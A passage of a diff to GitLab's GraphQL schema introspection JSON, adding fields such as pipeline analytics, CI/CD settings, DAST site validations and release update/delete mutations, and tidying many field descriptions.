+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "weekPipelinesLabels",
+ "description": "Labels for the weekly pipeline count",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "weekPipelinesSuccessful",
+ "description": "Total weekly successful pipeline count",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "weekPipelinesTotals",
+ "description": "Total weekly pipeline count",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "yearPipelinesLabels",
+ "description": "Labels for the yearly pipeline count",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "yearPipelinesSuccessful",
+ "description": "Total yearly successful pipeline count",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "yearPipelinesTotals",
+ "description": "Total yearly pipeline count",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "INPUT_OBJECT",
"name": "PipelineCancelInput",
"description": "Autogenerated input type of PipelineCancel",
@@ -43571,7 +47438,7 @@
"inputFields": [
{
"name": "id",
- "description": "The id of the pipeline to mutate",
+ "description": "The ID of the pipeline to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -43803,7 +47670,7 @@
"inputFields": [
{
"name": "id",
- "description": "The id of the pipeline to mutate",
+ "description": "The ID of the pipeline to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -44003,7 +47870,7 @@
"inputFields": [
{
"name": "id",
- "description": "The id of the pipeline to mutate",
+ "description": "The ID of the pipeline to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -44236,6 +48103,20 @@
"defaultValue": null
},
{
+ "name": "domain",
+ "description": "Filter query for given domain",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "AlertManagementDomainFilter",
+ "ofType": null
+ }
+ },
+ "defaultValue": "operations"
+ },
+ {
"name": "search",
"description": "Search query for title, description, service, or monitoring_tool.",
"type": {
@@ -44340,6 +48221,20 @@
"defaultValue": null
},
{
+ "name": "domain",
+ "description": "Filter query for given domain",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "AlertManagementDomainFilter",
+ "ofType": null
+ }
+ },
+ "defaultValue": "operations"
+ },
+ {
"name": "search",
"description": "Search query for title, description, service, or monitoring_tool.",
"type": {
@@ -44608,6 +48503,20 @@
"deprecationReason": null
},
{
+ "name": "ciCdSettings",
+ "description": "CI/CD settings for the project",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ProjectCiCdSetting",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "clusterAgent",
"description": "Find a single cluster agent by name",
"args": [
@@ -44846,6 +48755,24 @@
"deprecationReason": null
},
{
+ "name": "containerRepositoriesCount",
+ "description": "Number of container repositories in the project",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "createdAt",
"description": "Timestamp of the project creation",
"args": [
@@ -44994,11 +48921,29 @@
},
{
"name": "dastSiteValidation",
- "description": "DAST Site Validation associated with the project",
+ "description": "DAST Site Validation associated with the project. Will always return `null` if `security_on_demand_scans_site_validation` is disabled",
"args": [
{
+ "name": "normalizedTargetUrls",
+ "description": "Normalized URL of the target to be scanned",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
"name": "targetUrl",
- "description": "target URL of the DAST Site Validation",
+ "description": "URL of the target to be scanned",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -45020,6 +48965,77 @@
"deprecationReason": null
},
{
+ "name": "dastSiteValidations",
+ "description": "DAST Site Validations associated with the project. Will always return no nodes if `security_on_demand_scans_site_validation` is disabled",
+ "args": [
+ {
+ "name": "normalizedTargetUrls",
+ "description": "Normalized URL of the target to be scanned",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "DastSiteValidationConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "description",
"description": "Short description of the project",
"args": [
@@ -45300,6 +49316,59 @@
"deprecationReason": null
},
{
+ "name": "incidentManagementOncallSchedules",
+ "description": "Incident Management On-call schedules of the project",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "IncidentManagementOncallScheduleConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "issue",
"description": "A single issue of the project",
"args": [
@@ -46062,7 +50131,7 @@
"args": [
{
"name": "startDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -46072,7 +50141,7 @@
},
{
"name": "endDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -46092,7 +50161,7 @@
},
{
"name": "state",
- "description": "Filter iterations by state",
+ "description": "Filter iterations by state.",
"type": {
"kind": "ENUM",
"name": "IterationState",
@@ -46102,7 +50171,7 @@
},
{
"name": "title",
- "description": "Fuzzy search by title",
+ "description": "Fuzzy search by title.",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -46112,7 +50181,7 @@
},
{
"name": "id",
- "description": "The ID of the Iteration to look up",
+ "description": "Global ID of the Iteration to look up.",
"type": {
"kind": "SCALAR",
"name": "ID",
@@ -46122,7 +50191,7 @@
},
{
"name": "iid",
- "description": "The internal ID of the Iteration to look up",
+ "description": "Internal ID of the Iteration to look up.",
"type": {
"kind": "SCALAR",
"name": "ID",
@@ -46132,7 +50201,7 @@
},
{
"name": "includeAncestors",
- "description": "Whether to include ancestor iterations. Defaults to true",
+ "description": "Whether to include ancestor iterations. Defaults to true.",
"type": {
"kind": "SCALAR",
"name": "Boolean",
@@ -46562,6 +50631,16 @@
"defaultValue": null
},
{
+ "name": "reviewerUsername",
+ "description": "Username of the reviewer",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "after",
"description": "Returns the elements in the list that come after the specified cursor.",
"type": {
@@ -46644,7 +50723,7 @@
"args": [
{
"name": "startDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -46654,7 +50733,7 @@
},
{
"name": "endDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -46980,6 +51059,20 @@
"deprecationReason": null
},
{
+ "name": "pipelineAnalytics",
+ "description": "Pipeline analytics",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "PipelineAnalytics",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "pipelines",
"description": "Build pipelines of the project",
"args": [
@@ -47091,6 +51184,24 @@
"defaultValue": null
},
{
+ "name": "relations",
+ "description": "Filter members by the given member relations",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "ProjectMemberRelation",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": "[DIRECT, INHERITED]"
+ },
+ {
"name": "after",
"description": "Returns the elements in the list that come after the specified cursor.",
"type": {
@@ -47825,6 +51936,24 @@
"deprecationReason": null
},
{
+ "name": "squashReadOnly",
+ "description": "Indicates if squash readonly is enabled",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "sshUrlToRepo",
"description": "URL to connect to the project via SSH",
"args": [
@@ -47952,6 +52081,20 @@
"deprecationReason": null
},
{
+ "name": "totalPipelineDuration",
+ "description": "Total pipeline duration for all of the pipelines in a project",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "userPermissions",
"description": "Permissions for the current user on the resource",
"args": [
@@ -48431,6 +52574,61 @@
},
{
"kind": "OBJECT",
+ "name": "ProjectCiCdSetting",
+ "description": null,
+ "fields": [
+ {
+ "name": "mergePipelinesEnabled",
+ "description": "Whether merge pipelines are enabled.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "mergeTrainsEnabled",
+ "description": "Whether merge trains are enabled.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "project",
+ "description": "Project the CI/CD settings belong to.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "Project",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
"name": "ProjectConnection",
"description": "The connection type for Project.",
"fields": [
@@ -48819,6 +53017,41 @@
"possibleTypes": null
},
{
+ "kind": "ENUM",
+ "name": "ProjectMemberRelation",
+ "description": "Project member relation",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "DIRECT",
+ "description": "Direct members",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "INHERITED",
+ "description": "Inherited members",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "DESCENDANTS",
+ "description": "Descendants members",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "INVITED_GROUPS",
+ "description": "Invited Groups members",
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "ProjectPermissions",
"description": null,
@@ -49937,7 +54170,7 @@
"inputFields": [
{
"name": "id",
- "description": "The id of the integration to mutate",
+ "description": "The ID of the integration to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -50039,7 +54272,7 @@
"inputFields": [
{
"name": "id",
- "description": "The id of the integration to mutate",
+ "description": "The ID of the integration to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -50309,6 +54542,33 @@
"description": null,
"fields": [
{
+ "name": "ciConfig",
+ "description": "Get linted and processed contents of a CI config. Should not be requested more than once per request.",
+ "args": [
+ {
+ "name": "content",
+ "description": "Contents of .gitlab-ci.yml",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "CiConfig",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "containerRepository",
"description": "Find a container repository",
"args": [
@@ -51495,7 +55755,7 @@
},
{
"name": "vulnerabilitiesCountByDayAndSeverity",
- "description": "Number of vulnerabilities per severity level, per day, for the projects on the current user's instance security dashboard. Deprecated in 13.3: Use `vulnerabilitiesCountByDay`",
+ "description": "Number of vulnerabilities per severity level, per day, for the projects on the current user's instance security dashboard Deprecated in 13.3: Use `vulnerabilitiesCountByDay`.",
"args": [
{
"name": "startDate",
@@ -51572,7 +55832,7 @@
"ofType": null
},
"isDeprecated": true,
- "deprecationReason": "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3"
+ "deprecationReason": "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3."
},
{
"name": "vulnerability",
@@ -52670,6 +56930,122 @@
"possibleTypes": null
},
{
+ "kind": "INPUT_OBJECT",
+ "name": "ReleaseDeleteInput",
+ "description": "Autogenerated input type of ReleaseDelete",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "projectPath",
+ "description": "Full path of the project the release is associated with",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "tagName",
+ "description": "Name of the tag associated with the release to delete.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "ReleaseDeletePayload",
+ "description": "Autogenerated return type of ReleaseDelete",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "release",
+ "description": "The deleted release.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "Release",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "ReleaseEdge",
"description": "An edge in a connection.",
@@ -53200,13 +57576,177 @@
},
{
"kind": "INPUT_OBJECT",
+ "name": "ReleaseUpdateInput",
+ "description": "Autogenerated input type of ReleaseUpdate",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "projectPath",
+ "description": "Full path of the project the release is associated with",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "tagName",
+ "description": "Name of the tag associated with the release",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "name",
+ "description": "Name of the release",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "description",
+ "description": "Description (release notes) of the release",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "releasedAt",
+ "description": "The release date",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "milestones",
+ "description": "The title of each milestone the release is associated with. GitLab Premium customers can specify group milestones.",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "ReleaseUpdatePayload",
+ "description": "Autogenerated return type of ReleaseUpdate",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "release",
+ "description": "The release after mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "Release",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
"name": "RemoveAwardEmojiInput",
"description": "Autogenerated input type of RemoveAwardEmoji",
"fields": null,
"inputFields": [
{
"name": "awardableId",
- "description": "The global id of the awardable resource",
+ "description": "The global ID of the awardable resource",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -53410,7 +57950,7 @@
"inputFields": [
{
"name": "id",
- "description": "The global id of the DiffNote to update",
+ "description": "The global ID of the DiffNote to update",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -57602,8 +62142,8 @@
"description": "Collection of Sentry Errors",
"args": [
{
- "name": "after",
- "description": "Returns the elements in the list that come after the specified cursor.",
+ "name": "searchTerm",
+ "description": "Search query for the Sentry error details",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -57612,8 +62152,8 @@
"defaultValue": null
},
{
- "name": "before",
- "description": "Returns the elements in the list that come before the specified cursor.",
+ "name": "sort",
+ "description": "Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -57622,41 +62162,41 @@
"defaultValue": null
},
{
- "name": "first",
- "description": "Returns the first _n_ elements from the list.",
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
"type": {
"kind": "SCALAR",
- "name": "Int",
+ "name": "String",
"ofType": null
},
"defaultValue": null
},
{
- "name": "last",
- "description": "Returns the last _n_ elements from the list.",
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
"type": {
"kind": "SCALAR",
- "name": "Int",
+ "name": "String",
"ofType": null
},
"defaultValue": null
},
{
- "name": "searchTerm",
- "description": "Search query for the Sentry error details",
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
"type": {
"kind": "SCALAR",
- "name": "String",
+ "name": "Int",
"ofType": null
},
"defaultValue": null
},
{
- "name": "sort",
- "description": "Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default",
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
"type": {
"kind": "SCALAR",
- "name": "String",
+ "name": "Int",
"ofType": null
},
"defaultValue": null
@@ -58369,6 +62909,12 @@
"deprecationReason": null
},
{
+ "name": "DATADOG_SERVICE",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "DISCORD_SERVICE",
"description": null,
"isDeprecated": false,
@@ -58554,7 +63100,7 @@
},
{
"name": "blob",
- "description": "Snippet blob. Deprecated in 13.3: Use `blobs`",
+ "description": "Snippet blob Deprecated in 13.3: Use `blobs`.",
"args": [
],
@@ -58568,7 +63114,7 @@
}
},
"isDeprecated": true,
- "deprecationReason": "Use `blobs`. Deprecated in 13.3"
+ "deprecationReason": "Use `blobs`. Deprecated in 13.3."
},
{
"name": "blobs",
@@ -60037,25 +64583,25 @@
"name": "updated_desc",
"description": "Updated at descending order",
"isDeprecated": true,
- "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5"
+ "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5."
},
{
"name": "updated_asc",
"description": "Updated at ascending order",
"isDeprecated": true,
- "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5"
+ "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5."
},
{
"name": "created_desc",
"description": "Created at descending order",
"isDeprecated": true,
- "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5"
+ "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5."
},
{
"name": "created_asc",
"description": "Created at ascending order",
"isDeprecated": true,
- "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5"
+ "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5."
},
{
"name": "UPDATED_DESC",
@@ -61060,6 +65606,20 @@
"deprecationReason": null
},
{
+ "name": "downloadPath",
+ "description": "URL for downloading the version's JSON file",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "id",
"description": "ID of the Terraform state version",
"args": [
@@ -61092,6 +65652,20 @@
"deprecationReason": null
},
{
+ "name": "serial",
+ "description": "Serial number of the version",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "updatedAt",
"description": "Timestamp the version was updated",
"args": [
@@ -62471,7 +67045,7 @@
"inputFields": [
{
"name": "id",
- "description": "The global id of the todo to mark as done",
+ "description": "The global ID of the todo to mark as done",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -62577,7 +67151,7 @@
"inputFields": [
{
"name": "id",
- "description": "The global id of the todo to restore",
+ "description": "The global ID of the todo to restore",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -62612,7 +67186,7 @@
"inputFields": [
{
"name": "ids",
- "description": "The global ids of the todos to restore (a maximum of 50 is supported at once)",
+ "description": "The global IDs of the todos to restore (a maximum of 50 is supported at once)",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -62720,7 +67294,7 @@
},
{
"name": "updatedIds",
- "description": "The ids of the updated todo items. Deprecated in 13.2: Use todos",
+ "description": "The IDs of the updated todo items Deprecated in 13.2: Use todos.",
"args": [
],
@@ -62742,7 +67316,7 @@
}
},
"isDeprecated": true,
- "deprecationReason": "Use todos. Deprecated in 13.2"
+ "deprecationReason": "Use todos. Deprecated in 13.2."
}
],
"inputFields": null,
@@ -62997,7 +67571,7 @@
},
{
"name": "updatedIds",
- "description": "Ids of the updated todos. Deprecated in 13.2: Use todos",
+ "description": "Ids of the updated todos Deprecated in 13.2: Use todos.",
"args": [
],
@@ -63019,7 +67593,7 @@
}
},
"isDeprecated": true,
- "deprecationReason": "Use todos. Deprecated in 13.2"
+ "deprecationReason": "Use todos. Deprecated in 13.2."
}
],
"inputFields": null,
@@ -63037,7 +67611,7 @@
"inputFields": [
{
"name": "awardableId",
- "description": "The global id of the awardable resource",
+ "description": "The global ID of the awardable resource",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -63681,7 +68255,7 @@
},
{
"name": "iid",
- "description": "The iid of the alert to mutate",
+ "description": "The IID of the alert to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -63954,22 +68528,8 @@
"fields": null,
"inputFields": [
{
- "name": "id",
- "description": "The board global id.",
- "type": {
- "kind": "NON_NULL",
- "name": null,
- "ofType": {
- "kind": "SCALAR",
- "name": "BoardID",
- "ofType": null
- }
- },
- "defaultValue": null
- },
- {
"name": "name",
- "description": "Name of the board",
+ "description": "The board name.",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -63979,7 +68539,7 @@
},
{
"name": "hideBacklogList",
- "description": "Whether or not backlog list is hidden.",
+ "description": "Whether or not backlog list is hidden",
"type": {
"kind": "SCALAR",
"name": "Boolean",
@@ -63989,7 +68549,7 @@
},
{
"name": "hideClosedList",
- "description": "Whether or not closed list is hidden.",
+ "description": "Whether or not closed list is hidden",
"type": {
"kind": "SCALAR",
"name": "Boolean",
@@ -63998,67 +68558,15 @@
"defaultValue": null
},
{
- "name": "assigneeId",
- "description": "The id of user to be assigned to the board.",
- "type": {
- "kind": "SCALAR",
- "name": "UserID",
- "ofType": null
- },
- "defaultValue": null
- },
- {
- "name": "milestoneId",
- "description": "The id of milestone to be assigned to the board.",
- "type": {
- "kind": "SCALAR",
- "name": "MilestoneID",
- "ofType": null
- },
- "defaultValue": null
- },
- {
- "name": "weight",
- "description": "The weight value to be assigned to the board.",
- "type": {
- "kind": "SCALAR",
- "name": "Int",
- "ofType": null
- },
- "defaultValue": null
- },
- {
- "name": "labels",
- "description": "Labels of the issue",
- "type": {
- "kind": "LIST",
- "name": null,
- "ofType": {
- "kind": "NON_NULL",
- "name": null,
- "ofType": {
- "kind": "SCALAR",
- "name": "String",
- "ofType": null
- }
- }
- },
